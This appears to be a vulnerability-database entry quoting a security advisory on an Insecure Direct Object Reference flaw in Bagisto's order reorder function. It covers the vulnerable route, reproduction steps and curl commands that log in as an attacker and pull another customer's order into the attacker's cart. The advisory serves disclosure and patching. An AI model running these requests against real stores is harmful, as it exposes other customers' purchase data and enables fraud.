Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Bagisto/bagisto, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An Insecure Direct Object Reference vulnerability in the customer order reorder function allows any authenticated customer to add items from another customer's order to their own shopping cart by manipulating the order ID parameter. This exposes sensitive purchase information and enables potential fraud. ### Details The vulnerability exists in the reorder method within OrderController.php. Unlike other order-related functions like view, cancel, printInvoice that properly validate customer ownership, the reorder function retrieves orders using only the order ID without verifying that the order belongs to the authenticated customer. Code location: `packages/Webkul/Shop/src/Http/Controllers/Customer/Account/OrderController.php` Exposed Route: `packages/Webkul/Shop/src/Routes/customer-routes.php` ```php Route::get('reorder/{id}', 'reorder')->name('shop.customers.account.orders.reorder'); ``` ### PoC I. Create victim account and place an order. II. Login as attacker. III. Exploit IDOR and navigate like: http://target.xxx/customer/account/orders/reorder/1 IV. Check http://target.xxx/checkout/cart and verify exploitation. V. Victim's order items are now in Attacker's cart. ### PoC via curl: ``` curl -c cookies.txt -X POST "http://target.xxx/customer/login" -d "email=attacker@evil.com&password=123qwe" curl -b cookies.txt "http://target.xxx/customer/account/orders/reorder/1" curl -b cookies.txt "http://target/api/checkout/cart" ``` ### Impact - **Information Disclosure:** Attackers can discover what products other customers have purchased. - **Potential Fraud:** Attackers could potentially exploit this for social engineering or targeted attacks.
